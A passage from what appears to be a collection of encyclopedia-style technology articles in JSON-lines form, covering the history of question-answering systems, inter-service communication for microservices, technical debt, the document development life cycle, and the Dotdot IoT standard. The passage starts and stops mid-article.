state-of-the-art models. \n\n## Milestones\n\n1961\n\nMIT researchers implement a program named *Baseball*. It reads a question from a punched card. It references a dictionary of words and idioms to generate a \"specification list\", which is a canonical expression of what the question is asking. Content analysis involves syntactic phrase structures. \n\n1963\n\nBertram Raphael at MIT publishes a memo titled *Operation of a Semantic Question-Answering System*. He describes a QA model that accepts a restricted form of English. Factual information comes from a relational model. Program is written in LISP. Raphael credits LISP's list-processing capability for making the implementation a lot easier. \n\nDec  \n1993\n\nDeveloped at MIT, *START* goes online. This is probably the world's first web-based QA system. It can answer questions on places, people, movies, dictionary definitions, etc. \n\nJun  \n1997\n\nWith the growth of web, *AskJeeves* is launched as an online QA system. However, it basically does pattern matching against a knowledge base of questions and returns curated answers. If there's no match, it falls back to a web search. In February 2006, the system is rebranded as *Ask*. \n\nNov  \n1999\n\nAt the 8th Text REtrieval Conference (TREC-8), a Question Answering track is introduced. This is to foster research in QA. TREC-8 focuses on only open-domain closed-class questions (fact-based short answers). At future TREC events, the QA track continues to produce datasets for training and evaluation.\n\n2002\n\nIt's helpful to identify the type of question being asked. Li and Roth propose a machine learning approach to **question classification**. Such a classification imposes constraints on potential answers. Due to ambiguity, their model allows for multiple classes for a single question. For example, \"What do bats eat?\" could belong to three class: food, plant, animal. The features used for learning include words, POS tags, chunks, head chunks, named entities, semantically related words, n-grams, and relations. \n\n2010\n\nAfter about three years of effort, IBM Watson competes at human expert levels in terms precision, confidence and speed at the *Jeopardy!* quiz show. It's *DeepQA* architecture integrates many content sources and NLP techniques. Answer candidates come with confidence measures. They're then scored using supporting evidence. Watson wins *Jeopardy!* in February 2011. \n\nDec  \n2014\n\nYu et al. look at the specific task of answer selection. Using **distributed representations**, they look for answers that are semantically similar to the question. This is a departure from a classification approach that uses hand-crafted syntactic and semantic features. They use a bigram model with a convolutional layer and a average pooling layer. These capture syntactic structures and long-term dependencies without relying external parse trees. \n\nJul  \n2017\n\nChen et al. use Wikipedia as the knowledge source for open-domain QA. Answers are predicted as text spans. Earlier research typically consider a short piece of already identified text. Since the present approach searches over multiple large documents, they call it \"machine reading at scale\". Called *DrQA*, this system integrates document retrieval and document reading. Bigram features and bag-of-words weighted with TF-IDF are used for retrieval. The reader uses BiLSTM each for the question and passages, with attention between the two. \n\nOct  \n2018\n\nResearchers at Google release **BERT** that's trained on 3.3 billion words of unlabelled text. BERT is a pre-trained language model. As a sample task, they fine-tune BERT for question answering. SQuAD v1.1 and v2.0 datasets are used. Question and text containing the answer are concatenated to form the input sequence. Start and end tokens of the answer are predicted using softmax. For questions without answers, start/end tokens point to `[CLS]` token. \n\nJan  \n2019\n\nGoogle release *Natural Questions (NQ)* dataset. It has 300K pairs plus 16K questions with answers from five different annotators. Answer comes from a Wikipedia page and the model is required to read the entire page. The questions themselves are based on real, anonymized, aggregated queries from Google Search. Answers can be yes/no, long, long and short, or no answer. \n\n2019\n\nOn SQuAD 2.0 dataset, many implementations start surpassing human performance. Many of these are based on the **transformer neural network architecture** including BERT, RoBERTa, XLNet, and ALBERT. Let's note that SQuAD 2.0 combines 100K questions from SQuAD 1.1 plus 50K unanswerable questions. When there's no answer, models are required to abstain from answering. \n\nJun  \n2019\n\nSince datasets are available only for some domains and languages, Lewis et al. propose a method to synthesize questions to train QA models. Passages are randomly selected from documents. Random noun phrases or named entities are picked as answers. \"Fill-in-the-blanks\" questions are generated. Using neural machine translation (NMT), these are converted into natural questions. \n\nFeb  \n2020\n\nGoogle Research releases *TyDi QA*, a typologically diverse multilingual dataset. It has 200K question-answer pairs from 11 languages. To avoid shared words in a pair, a human was asked to frame a question when they didn't know the answer. Google Search identified a suitable Wikipedia article to answer the question. The person then marked the answer. Researchers expect their model to generalize well to many languages.","meta":{"title":"Question Answering","href":"question-answering"}}
{"text":"# Inter-Service Communication for Microservices\n\n## Summary\n\n\nIn a monolithic application, all parts of the app access a shared database. Each part can easily invoke the functionality of another part. In a microservices architecture, an app is composed of many microservices, each potentially managing its own database. What happens if one service requires data or processing from another service? This is not as trivial or efficient as in a monolithic application.\n\nInter-service communication (ISC) is an important consideration when designing a microservices-based application. A badly designed app can result in a lot of communication among the different services, resulting in a *chatty app* or *chatty I/O*. Communication can be reduced by having fewer microservices but this replaces the monolith with smaller monoliths. The goal is therefore to achieve a balance by following good design principles and patterns.\n\n## Discussion\n\n### Why do microservices need to communicate with one another?\n\nIn the traditional approach to building monolithic applications, lot of communication was internal to the app. Such communication was often local, fast and easily manageable. When designing a microservices architecture, we break up the monolithic into independent parts, each of which has a well-defined role. While each microservice can be deployed and scaled independently, none of them deliver the full value of the application. A microservice will often require data managed by another, or require the services of another.\n\nFor example, consider a taxi booking application. Trip management and passenger management are separate microservices but a trip cannot be initiated without some knowledge or authentication of the passenger. Hence these two independent microservices, each doing its specific roles, will still need to communicate. \n\nWhile microservices architecture has brought benefits to build large-scale applications, it has also exposed the communication across microservices. Complexity that was previously hidden is now visible. Dozens or even hundreds of microservices that make up an app must be \"wired together\" properly to make the whole thing work.\n\n\n### What are the different types of inter-service communication for microservices?\n\nBroadly, there are two types: \n\n    + **Synchronous**: Client sends a request and waits for a response. Client code execution itself may prefer to receive the response via a callback (thread is not blocked) or wait (thread is blocked). Either way, the communication to the external world is synchronous.\n    + **Asynchronous**: Client sends a request and doesn't wait for a response.With synchronous communication protocols, the receiver has to be available to send back the response. From application perspective, synchronous implies a less responsive user experience since we have to wait for the response. If one of the services in a chain of synchronous requests delays its response, the entire call flow gets delayed. \n\nWith asynchronous communication protocols, the request (often called message) is typically sent to a message queue. Even if the receiver is not available, the message will remain in the queue and can be processed at a later time. Even if a service fails to respond, the original asynchronous call is not affected since it's not waiting for a response. \n\n\n### What protocols and data formats are suitable for inter-service communication for microservices?\n\n**HTTP/HTTPS** is a synchronous protocol. Often service APIs are exposed as REST endpoints. **AMQP** and **MQTT** are examples of asynchronous protocols. To manage the queue, we can use RabbitMQ **message broker**. Instead of a message queue, we can also use an **event bus** for updating data asynchronously. \n\nSynchronous protocols are usually limited to one-to-one interactions. Asynchronous protocols have more options: **one-to-one** (notifications), **one-to-many** (publish/subscribe), or even allow for responses coming back asynchronously. For example, a user sends a tweet on her Twitter account that has many followers. This is an example of one-to-many publish/subscribe model.\n\nThe data that these protocols carry must be formatted in a manner understood by all. **Text-based formats** include JSON and XML. XML in particular is very verbose. Therefore, some implementations may prefer **binary formats**: MessagePack, Thrift, ProtoBuf, Avro. Note that these are well-known and popular formats and using them enables easier integration of microservices. It's also possible (but not preferred) to use a proprietary non-standard format internal to an application.\n\n\n### What design patterns are available for inter-service communication for microservices?\n\nHere are a few patterns to note:\n\n    + **Saga Pattern**: A sequence of transactions, each one local to its database. A microservice triggers another via an event or message. If something fails, reverse operations undo the changes.\n    + **API Composition**: Since table joins are not possible across databases, a dedicated service (or API gateway) coordinates the \"joins\", which are now at application layer rather than within the database.\n    + **Command Query Responsibility Segregation (CQRS)**: Services keep materialized views based on data from multiple services. These views are updated via subscribed events. CQRS separates writes (commands) from the reads (queries).\n    + **Event Sourcing**: Rather than store state, we store events. State may be computed from these events as desired. This is often used with CQRS: write events but derive states by replaying the events.\n    + **Orchestration**: A central controller or orchestrator coordinates interactions across microservices. API Composition is a form of orchestration.\n    + **Choreography**: Each microservice knows what to do when an event occurs, which are posted on an event stream/bus.\n    + **Service Mesh**: Push application networking functions down to the infrastructure and not mix them with business logic.\n\n### Could you compare orchestration and choreography?\n\nOrchestration is a centralized approach. Calls are often synchronous: orchestrator calls service A, waits for response, then calls service B, and so on. This is good if service B depends on data from service A. However, if service A is down, service B can't be called. By coupling B with A, we've created a dependency. The orchestrator also becomes a single point of failure. \n\nChoreography enables peer-to-peer interactions without a centralized controller. It's more flexible and scalable than the orchestration approach. It's event-driven architecture applied to microservices. The logic of handling an event is built into the microservice. Choreography is asynchronous and non-blocking. The patterns CQRS and Event Sourcing are applicable to choreography. \n\nThere are also hybrid approaches where a service orchestrates a few services while it interacts with others via an event stream. In another approach, an orchestrator emits events for other services and consumes response events asynchronously from the event stream for further processing. \n\nTo conclude, \n\n> Orchestration is about control whereas choreography is about interactions.\n\n\n### How do we handle service API calls that fail?\n\nThe simplest solution is to **retry** after a specified timeout. A maximum number of retries can be attempted. However, if the operation is not idempotent (that is, it changes application state), then retry is not a safe recovery method. \n\nThe other approach is to use a **circuit breaker**. Many failed requests can result in a bottleneck. There's no point sending further requests. This is where we \"open the circuit\" to prevent further requests to a service that's not responding. \n\nWe can also proactively reduce chances of failure by **load balancing** requests. A request must be processed by a service instance and we can select an instance that has less load. Container orchestrators (Kubernetes) or service meshes (Istio) enable this. \n\n\n### Are there any best practices for defining a service API?\n\nMicroservices must be designed to be independent of one another. One approach is to use **Domain-Driven Design**. This talks about understanding the problem space, using design patterns, and refactoring continuously. API should model the domain. It shouldn't leak internal implementations. \n\nAPIs must have well-defined semantics and versioning schemes. A microservice can support multiple versions of an API or you could have a service for each version. Public APIs are usually REST over HTTP. Internal APIs can adopt RPC-style, where remote calls can look like local calls. However, they should be designed right to avoid chattiness. Consider the trade-off between making many I/O calls and retrieving too much data. \n\nSince application state is now distributed across microservices, design for and manage **Eventual Consistency**.  \n\nWhile REST calls may use JSON, RPC calls can be more efficient with binary formats enabled by RPC frameworks such as gRPC, Apache Avro and Apache Thrift. To simplify API design and development, use an **Interface Definition Language (IDL)**. This will generate client code, serialization code and API documentation. \n\n\n### What are some anti-patterns to avoid when microservices need to communicate?\n\nSharing a database across many microservices is an anti-pattern since this introduces tighter coupling. A single data model for all microservices is another. Using synchronous protocols across many microservices increases latencies and makes your app brittle to failures. If microservices are not properly defined, this may result in chatty I/O that affects performance and responsiveness. \n\nAn application may depend on hundreds of shared libraries. In the spirit of code reuse, all microservices may be relying on these libraries. This results in another anti-pattern called **distributed monolith**. Reusing code within a domain or service boundary is fine but anything beyond that is coupling. This form of coupling is worse than code duplication. Shared libraries can be considered but not made mandatory in some areas: logging, tracing, routing. \n\nIt's not required that every event should contain full data, particularly when consumers are going to use only some of it. Consider sending essential data and URLs pointing to additional data. To communicate, consider REST plus its alternatives such as messaging and event sourcing. \n\n\n### What tools can I use to implement inter-service communication for microservices?\n\nAmong the message brokers are RabbitMQ, Kafka, ActiveMQ, and Kestrel. Cloud providers offer their own messaging systems such as Amazon SQS, Google Cloud Pub/Sub, and Firebase Cloud Messaging (FCM). Microsoft Azure offers Event Grid, Event Hubs and Service Bus for messaging. NATS, a CNCF project, is an open source messaging system.\n\nIstio enables service mesh technology. Azure Service Fabric Mesh is an alternative. These rely on Envoy as the networking proxy. Similar proxies include Linkerd and Cilium. Conduit is a service mesh designed for Kubernetes. \n\nNetflix's Conductor can help with orchestration. For logging and monitoring, we have Retrace, Logstash, Graylog, and Jaeger. OpenTracing is an API that enables distributed tracing. Circuit breaker pattern can be implemented with Netflix's Hystrix. \n\nTo define service APIs, Swagger can be used. In Java, REST-based microservices can be created with Spring Boot. \n\n## Milestones\n\n2004\n\nEric Evans publishes *Domain-Driven Design: Tackling Complexity in the Heart of Software*. The book relates directly to object-oriented programming. Only later, it's relevance to microservices would be understood. \n\n2007\n\nMichael Nygard explains the **circuit breaker** pattern in his book *Release It!: Design and Deploy Production-Ready Software*. This helps us build fault tolerant systems. In 2011, Netflix invents the Hystrix framework that includes the circuit breaker pattern. \n\n2009\n\nNetflix embraces API-driven architecture that affects both development and operations. This is today seen as the birth of microservices. \n\n2010\n\nAt the start of this decade, the three-tier model (web tier, app tier, database tier) is found to break under heavy load. Microservices come to the rescue but they also bring problems relating to inter-service communication. Companies introduce libraries that are built into microservices to handle the networking aspects: Google's Stubby, Netflix's Hystrix, Twitter's Finagle. This however introduces coupling. A few years later these evolve to networking proxy and **service mesh**. \n\nJan  \n2016\n\nVersion 0.0.7 of **Linkerd** is open sourced on GitHub. It's based on Twitter's Finagle and Netty. This is one of the early beginnings of a service mesh. Likewise, **Istio** version 0.1.0 is released as an alpha version in May 2017.","meta":{"title":"Inter-Service Communication for Microservices","href":"inter-service-communication-for-microservices"}}
{"text":"# Technical Debt\n\n## Summary\n\n\nTo write good software, developers have to follow best practices: architecture, design patterns, code structure, naming convention, coding guidelines, test coverage, documentation, etc. In practice, business needs may push developers to release a functioning product as quickly as possible. Developers may violate the best practices, hoping to make improvements at a later time. When this happens we have **technical debt**. \n\nThe goal is not to eliminate technical debt. We accept technical debt in the short term and manage it in the long term. If it's ignored, problems will accumulate until demoralized developers, missed deadlines, unhappy customers and increasing costs drive the product out of the market. \n\nThe problems indicated by technical debt are related to many other terms: software maintenance, software evolution, software aging, code decay, code reengineering, design smells, code refactoring, deficit programming, and technical inflation.\n\n## Discussion\n\n### Why do we call technical debt a \"debt\"?\n\nThe debt metaphor comes from finance. It's common for companies to borrow money to grow faster and capture the market quickly. However, this debt has to be eventually repaid with interest. The longer the company delays the repayment, the more it pays in terms of interest. Ward Cunningham applied this debt metaphor to technology, more specifically to software development. \n\nDue to various reasons, developers might not adopt the best approach to build their product. They might release the product even when they don't understand some parts of it. This is the debt they acquire in the hope that they will fix these issues in a future release. Bad code and poor understanding of that code lead to more time and effort to add new features. This is the interest paid on the debt. An hour saved today would require more than an hour tomorrow to fix the problem. \n\nCode refactoring leads to better design that's easy to understand and maintain. However, the longer they postpone this refactoring, the more difficult it becomes to refactor, just as interest payments continue to grow in financial debt. \n\n\n### What's principal and interest with respect to technical debt?\n\nIn finance, when we borrow money, the principal has to be paid along with interest. The longer we delay the payment of principal, the more interest we pay.\n\nIn technical debt, suppose we keep working with poor code, design or documentation. **Interest** is the extra effort we pay to maintain the software. As the software gets more complex with each release, interest keeps going up. \n\nInstead, we could refactor the code incrementally and make it better for future maintenance. **Principal** is therefore the cost of refactoring. Paying the principal today reduces future interest payments (extra effort). \n\n\n### How does technical debt arise in a project?\n\nTechnical debt could arise due to \"business pressure, incorrect design decisions, postponing refactoring indefinitely, updating dependencies or simply the lack of experience of the developer\". Bad practices can lead to technical debt: starting development without proper design, lack of testing, poor documentation, or poor collaboration. \n\nA software product may start with a clean design but incur technical debt as requirements change. Sometimes a software component could undergo a number of incremental changes made by multiple developers. These developers may not fully understand that component or its original purpose. Some call this \"bit rot technical debt\". Coding by copy-paste is a symptom. \n\nSometimes a third-party software is upgraded in an incompatible manner, such as Magento 1.x to 2.0. All websites using Magento 1.x now have a technical debt since there's no simple upgrade path. \n\nConsider a web application. Though Ajax might be the right approach, it would take longer to develop. So developers use frames instead. This is a conscious decision that incurs technical debt. Developers must still implement a clean solution that can be migrated to Ajax easily in a future release. \n\n\n### What are the different types of technical debt?\n\nBack in 2009, Martin Fowler identified four types of technical debt: \n\n    + **Reckless & Deliberate**: Developers are aware of good design practices but deliberately choose to ignore them and produce messy code. This leads to excessive interest payments and long time to payback the principal.\n    + **Reckless & Inadvertent**: Developers are clueless about good design practices and produce messy code.\n    + **Prudent & Deliberate**: Developers willing incur debt because they estimate that interest payments are small (rarely touched code). They do a cost-benefit analysis and accept the debt if it can be overcome.\n    + **Prudent & Inadvertent**: This is often retrospective in nature. Developers release clean code but later realize that they could have done it differently. This is inadvertent debt. Developers are constantly learning and trying to improve their code. As systems evolve and requirements change, developers may find better designs.From the perspective of interest payment, we could classify technical debt as **eventually repaid** (refactoring on a daily basis, debt tends to zero), **sustainable** (refactoring regularly, debt is constant) or **compound growth** (adding new features but not refactoring, exponential growth of debt). \n\n\n### Could you share some case studies of technical debt?\n\nAccording to a study by Stripe, developers spend nearly half their time fighting with technical debt. They estimated that this amounts to $85 billion in annual cost. \n\nAnother study of large software organizations showed that 25% of development time is the cost of technical debt. Only some used backlogs and static analyzers to manage technical debt. Very few had a systematic process for addressing technical debt. \n\nTwitter's platform was built on Ruby on Rails that was hard to optimize for search performance. Twitter solved this by eventually switching to a Java server, thus paying off its technical debt. \n\nA Canadian company successfully released a product locally. When they expanded to the rest of Canada, they had to cater to 20% of French-speaking Canadians. They quickly solved this by using a global flag and lots of if-else statements in code. Later they got an order from Japan. Had they made their software multilingual earlier, they could have easily updated their software for Japanese or any other language. \n\n\n### What are the consequences of technical debt?\n\nIf not managed, technical debt has long term effects on the product. It becomes difficult to add features or improve the product. More time is spent on paying off the interest. Any change implies higher costs. As product quality deteriorates, system outages or security breaches can lead to lost sales or fines. The cost of a quick release might be poor design, more bugs, volatile performance, and insufficient testing. \n\nTechnical debt has a human cost too. Developers become unhappy. Adding new features becomes a pain. Even when new developers are hired, it takes time to explain what the code does or why it's so messy. New developers could start blaming older developers for the technical debt. Teamwork suffers. \n\nCrippling technical debt might force the team to postpone big changes. They might not adopt latest technologies or upgrade to the latest versions of third-party libraries. Developers might get stuck with outdated frameworks and have no opportunity to upgrade their skills. They may even leave for better opportunities elsewhere. \n\nUltimately, these problems can be related to business risk, cost, sales, and employee retention. Technical debt gives developers a language to communicate clearly with business folks. \n\n\n### How can I manage technical debt within my project?\n\nTechnical debt when addressed early requires only some code refactoring. If this is postponed, a more expensive rewrite may be needed. \n\nAs in financial debt, it's better to pay off the principal to save on future interest payments. In other words, developers must **continuously refactor code**. If a new feature takes three days, a developer could take an extra day to refactor. This might simplify the current feature and make the code easier to work with for the future. \n\nOnce code is shipped to customers, developers are reluctant to change it, for the fear of breaking system behaviour. The solution is to add **more tests**. In fact, technical debt implies a more disciplined approach towards refactoring and testing. \n\nDevelopers should follow **good design practices**: reuse rather than duplicate code; design highly cohesive and loosely coupled modules; name variable, classes and methods to reveal intention; document the code; organize code reviews. \n\nUnlike bugs, technical debt is often invisible. **Tools** such as *Designite* can help identify and track debt. Prioritize high-interest debts for refactoring. Motivate and reward developers for refactoring. \n\n## Milestones\n\n1992\n\nWard Cunningham coins the term **Technical Debt** while working on WyCASH+, a financial software written in Smalltalk and employing object-oriented programming. He notes that it's important to revise and rewrite code towards better understanding. He also notes,\n\n> A little debt speeds development so long as it is paid back promptly with a rewrite. … The danger occurs when the debt is not repaid. Every minute spent on not-quite-right code counts as interest on that debt.\n\n2001\n\n**The Agile Manifesto** is signed. In the following years, as the Agile software movement gains adoption, it also brings more visibility to technical debt. Technical debt becomes an essential concept of software engineering. Agile is about faster development and responding quickly to customer needs. This focus on short-term deliveries should not compromise long-term goals. It's in this context that technical debt becomes relevant in Agile. \n\nSep  \n2009\n\nRobert C. Martin (commonly called Uncle Bob) makes the point that technical debt is incurred due to real-world constraints. It's risky but could be beneficial. It requires discipline and clean coding. **Messy code** is not technical debt. Messy code is due to laziness and unprofessionalism. \n\nOct  \n2009\n\nMartin Fowler expands on Uncle Bob's explanation of technical debt. In the process, he identifies the **four quadrants** of technical debt. He also notes that technical debt is a useful metaphor when communicating with non-technical people. \n\n2016\n\nAt the IEEE 8th International Workshop on Managing Technical Debt, researchers present their findings on **technical debt in embedded systems**. They find that test, architecture and code debts are more common. In embedded systems, runtime aspects are prioritized higher than design aspects. When the expected lifetime of a component is more than ten years, its maintainability is more seriously considered.","meta":{"title":"Technical Debt","href":"technical-debt"}}
{"text":"# Document Development Life Cycle\n\n## Summary\n\n\nDocumentation is considered a means of communication among software developers and software users. It includes written specifications for software, what it does, how it fulfils the specified details, and how to use it. \n\n**Document Development Life Cycle (DDLC)** is a methodical procedure. It enables the creation of documents in a structured order. It's important while creating a document to improve its precision and understandability for end consumers. \n\nEach member of the content management system must be aware of DDLC. It includes technical writers and other content producers. The content developers can improve the accuracy and quality of the complete documentation. For this, they must follow a systemic process. They need to deliver it on schedule. \n\nDDLC can be divided in the following phases: Analysis and planning, Design, Content development, Proofreading and editing, Publishing, and Maintenance.\n\n## Discussion\n\n### Why is the document development life cycle important?\n\nThe objective of the workflow for user information/ documentation, is to:\n\n    + Transform software use cases into designs for online and print information. This includes navigation and classification.\n    + Implement the documentation design as an in-depth, accurate, and consistent set of information.\n    + Make sure that the data is enough for people to use the product.\n    + Generate or distribute the data in a timely and effective manner.It helps extract textual information on software specifications. This includes what it does, how it completes the required tasks, and even user instructions. \n\n\n### What are the stages of DDLC?\n\nTo begin a software product's documentation process, the first stage is researching the target audience's needs and analyzing their pain points. \n\nThe next stage is to design the document and break it down into smaller segments. Then, structure it with the appropriate format and style. \n\nTechnical writers handle the content development stage. This stage requires domain knowledge and technical information. Reviewing and editing are also crucial. Technical writing tools ease collaboration and a transparent review process. \n\nAfter completing the first draft, technical and editorial experts review the document to ensure accuracy and generate feedback. The writers must integrate the suggestions to maintain quality. \n\nTechnical writers take a printout of the document to ensure structure and address any minor issues. The content is published online with added links. \n\nA clear plan for frequent updates is necessary. It requires monitoring with authoring tools. Be responsive and provide users with instant information. \n\n\n### What tools are used for documentation development?\n\nMicrosoft Word will work for a small company with one/two technical writers. This tool won't be enough for a larger company. They'll need to look at other authoring tools like ClickHelp to handle the development life cycle (DDLC).  \n\nTechnical writers can use translation tools to write. They can also translate their documentation. This helps to speed up the documentation process.  \n\nTools are required for taking screenshots. Pictures in software documentation help achieve better outcomes. They provide more basic yet thorough understanding of the product.  \n\nSometimes, the best option might be to use diagrams to present information. The major benefit comes from embedding a diagram from a cloud-based diagramming tool into a topic. All the diagrams across all the documents update automatically on updating the source.  \n\nInserting videos in online documentation is a recent trend. Documentation becomes clearer and enjoyable for the readers. Hence, it produces excellent results. \n\n\n### Describe the Spiral model of DDLC and the Waterfall model of DDLC.\n\nThe Waterfall Model is a linear sequential approach to software development, where each stage of the development process must be completed before the next one can begin. It has six steps: Analyse, Design, Write, Revise, Distribute and Maintain. It has an advantage. Once the design is finalised, you don't need to return to the Design and Analyse phases for further iteration. Process optimization is achieved here. \n\nThe Spiral Model is a more flexible and iterative approach that incorporates elements of the Waterfall model and prototyping. It allows for feedback and revision at each phase of development and is based on the idea of continuous improvement. It is divided into four parts: Analyse, Design, Write and Evaluate. The disadvantage is that, it is time-consuming. All four stages must be followed, every time the document needs to be changed/updated. There are similarities in both process models. Hence, there are challenges for the documentation team in both. \n\n\n### What are the challenges associated with DDLC?\n\nDocument development can be a time-consuming process. And, deadlines may be tight, especially in fast-paced industries. \n\nThe document's content might be complex or technical. This would make it challenging to present the information in a way that is easy to understand for the target audience.\n\nKeeping track of document revisions. Ensuring that everyone is working on the most up-to-date version can be challenging. This is particularly when multiple stakeholders are involved.\n\nDocument approval processes may involve many stakeholders with differing opinions. It can result in delays and conflicts.\n\nIt can be challenging to ensure that all documents are consistent in terms of formatting, style, and tone, particularly when multiple authors are involved.\n\nEnsuring that the documents are accessible to all users, including those with disabilities, may require additional effort.\n\nThe document might be needed to be translated into multiple languages. This can add additional complexity and time to the development process. \n\n\n### What are some practical tips for technical writers?\n\nUnderstand the target audience and their knowledge level. It helps customize the writing style and language accordingly. \n\nAvoid using technical and complex terms as much as possible. Use simple and clear language that is easy to understand.\n\nOrganize your content in a logical and simple manner. Use headings, subheadings, and bullet points to break up the content.\n\nUse visuals such as diagrams, charts, and illustrations. This would help make your content more engaging and easier to understand.\n\nAlways review and edit your work. It helps ensure accuracy and clarity. Get feedback from your peers or subject matter experts to improve your writing.\n\nKeep up with the latest industry trends and technologies. This ensures the writing is relevant and informative.\n\nUse templates and style guides to ensure consistency in your writing style and formatting.\n\nBe open to feedback. Be willing to adapt your writing style to meet the needs of your audience.\n\nContinuously improve your writing skills by seeking feedback and learning from others. Stay updated with the latest trends and technologies in your field. \n\n## Milestones\n\n1986\n\nThe American National Standards Institute (ANSI) releases the Standard Generalized Markup Language (SGML). It becomes the basis of several subset markup languages including HTML. \n\n1987\n\nEarly desktop publishing and page layout software begin appearing on writers’ desktops. This includes products like Ventura Publisher, Interleaf, FrameMaker, and Aldus PageMaker. \n\n1992\n\nProEdit is founded in Atlanta, GA. \n\n1999\n\nWriters begin using XML, an “eXtensible Markup Language”. It's is evolving from HTML. \n\n2002\n\nThe Sarbanes-Oxley Act of 2002 creates new opportunities for technical writers documenting policies, procedures, and internal controls.","meta":{"title":"Document Development Life Cycle","href":"document-development-life-cycle"}}
{"text":"# Dotdot\n\n## Summary\n\n\nDotdot is the universal language of the Internet of Things (IoT), making it possible for devices to work together on any network. Dotdot makes devices interoperable, regardless of vendor or connectivity technologies. Consumers can buy any appliance and expect it to talk to other appliance, so long as both Dotdot certified.\n\nDotdot was developed by the Zigbee Alliance, an open, global, non-profit organization. Dotdot itself was made possible by the Zigbee Cluster Library (ZCL) defined for the Zigbee stack. Dotdot is more universal. It sits at the application layer but lower layers can be Zigbee, Thread, Wi-Fi, Bluetooth, and more. Zigbee devices could already interoperate among themselves seamlessly. Dotdot extends this to non-Zigbee devices. \n\nOther organizations or communities (Bluetooth, OMG, OCF, GS1, Haystack, Schema.org) are also developing specifications for IoT interoperability at the application layer. These could complement or compete against Dotdot.\n\n## Discussion\n\n### What's the need for Dotdot?\n\nIoT devices connect with various wired or wireless technologies and networking protocols. That's fine so long as devices can understand one another at the application layer. \n\nBack in 2017, a toaster couldn't communicate with a coffee machine. A smart hub probably couldn't control an off-the-shelf smart lock or thermostat. A light switch couldn't turn off or dim a lamp. This is because devices come from different vendors. Their interfaces are either closed, limited or proprietary. For example, devices from Apple, Google, Amazon or Samsung probably need different mobile apps to control them. \n\nThis is a difficult scenario for any systems integrator who has to understand and interface many different technologies. Even at runtime, devices will sacrifice some processing to protocol translation. What we need is a common language at the application layer that all devices can understand. This is exactly what Dotdot provides. \n\nIt's possible to build a cloud platform that understands all devices. The cloud then becomes the convergence point for devices to talk to one another. But for many applications, relying on the cloud is unacceptable due to reliability, complexity and latency. \n\n\n### What are the benefits of using Dotdot?\n\nDotdot has the following benefits:  \n\n    + Single solution for all markets - A single application layer that works over many networks means a single choice for developers and consumers. This ends market fragmentation across segments: home, building, industrial, retail, health, energy, and more.\n    + Easy - All necessary documents, references and tools are available in a single location and a single certification mark on every certified product and package.\n    + Secure - Unique IDs, DTLS sessions, operational certificates and Access Control Lists (ACLs).\n    + Global - Built on the open standards and global membership of 400 Zigbee Alliance members. Uses 2.4 GHz and 800-900 MHz bands that are globally available.\n    + Proven - Based on the Zigbee Cluster Library (ZCL) that's deployed in over 300 million products for over 10 years.\n    + Reliable and robust - Dotdot brings a rich catalog of device interaction models to IP networks. This enables devices to interoperate natively, while being able to interact with similar/complimentary devices on a Zigbee network.\n    + Interoperable - Certification ensures device-to-device interoperability. Enables and connects multi-vendor ecosystems.\n\n### Where does Dotdot fit within the protocol stack?\n\nDotdot is meant for the application layer. Zigbee Alliance also has a certification program to certify devices that are compliant to the Dotdot specification. At the lower layers, Dotdot can interwork with any network or connectivity protocol. This includes Zigbee, Thread, Wi-Fi, Bluetooth, and more. \n\nWith Dotdot, we can have direct device-to-device communications within a Zigbee network or within a Thread network. When a Zigbee device needs to talk to a Thread device, there will be a gateway to translate between the two network. However, the devices can understand each other at the application layer, thanks to Dotdot. With Dotdot over Thread, there's no need for a gateway to connect the device to the cloud. Since Thread is IP based, such devices can directly talk to the cloud. \n\n\n### How is Dotdot related to the Zigbee Cluster Library (ZCL)?\n\nZigbee Alliance standardized ZCL so that different devices can interoperate at the application layer. ZCL contains 100+ device types, 2400+ certified products, and has matured over 15 years. Only problem with ZCL is that it works only with the Zigbee stack. This is where Dotdot fits in. \n\nDotdot can be seen as a universal application layer that can work with any underlying stack. As an example, Dotdot interfacing to Thread stack was shown at CES 2017. In this case, ZCL maps to CoAP Resources and HTTP verbs such as GET, PUT, POST, and DELETE. \n\nDotdot enables Zigbee devices to get connected to the Internet. In fact, Dotdot is considered an alias for **ZCL over IP (ZCLIP)**. It's been said that, \n\n> Dotdot is a standard that allows you to put ZCL on any “rails” other than Zigbee – WiFi, Thread, and so on.\n\nZCL is optimized for constrained devices. Messages are compact, most fitting within 127-byte 802.15.4 packet. Zigbee Alliance gets a head start by reusing the work done on ZCL for IP networks. \n\n\n### Which are the documents relevant to Dotdot development?\n\nFor mapping ZCL to IP and RESTful interfaces, the following IETF documents are relevant: \n\n    + RFC 6690: Constrained RESTful Environments (CoRE) Link Format\n    + RFC 7252: Constrained Application Protocol (CoAP)\n    + RFC 7049: Concise Binary Object Representation (CBOR)ZCL Specification is an essential reference. It's also worth reading NXP's ZCL User Guide.\n\n\n### What exactly is the Dotdot Commissioning App?\n\nThe Dotdot Commissioning App is an app that's mostly based on the Thread Commissioning App developed for commissioning Thread-enabled devices. This app facilitates management and expansion of a Dotdot network. \n\nThe app first discovers Dotdot-compliant devices in a Thread network. It interrogates each device to discover services, clusters and endpoints. It discovers commands supported by each device. Once this is done, the app can send commands and change attributes on devices. \n\nZigbee Alliance members get access to this app. This saves operators the trouble of developing their own apps.\n\n\n### What are the alternatives to Dotdot?\n\nIoTivity is a reference implementation of Open Connectivity Foundation (OCF) specifications. It uses RESTful interfaces. \n\nIPSO Alliance is also involved in defining specifications. \n\nObject Management Group (OMG) defined the Data Distribution Service (DDS) for it's Industrial Internet Consortium (IIC). OMG has defined standards for healthcare and retail. \n\nBluetooth Special Interest Group (SIG) concerns itself with application layer interoperability among constrained devices. It does this via Generic Attributes (GATT) profiles and assigned numbers. \n\nGS1 is involved in supply chain standards for data exchange across Retail, Healthcare, and Transport & Logistics industries. It's standards include EPC Information Service (EPCIS), Core Business Vocabulary (CBV), Global Product Classification (GPC), and more. \n\nIETF's Extensible Provisioning Protocol (EPP) is an application-layer, client-server protocol for the provisioning and management of objects stored in a shared central repository. Developed for Internet domains and hosts, it can be extended to IoT. \n\nProject Haystack is an open community looking at semantic data models and web services. \n\nSchema.org manages a common set of semantic schemas. It's current ontology can be extended to IoT. \n\n## Milestones\n\n2007\n\nZigbee Alliance publishes the first release of the **Zigbee Cluster Library (ZCL)**. Revision 6 of this document appears in January 2016. A cluster is a related collection of commands and attributes, which together define an interface to specific functionality. Example clusters include HVAC, lighting, security and safety, and measurement and sensing. ZCL later becomes a starting point for Dotdot.\n\n2013\n\nAt a meeting in Boston, a stack vendor and two door lock manufacturers discuss how best to interface their products. Over a 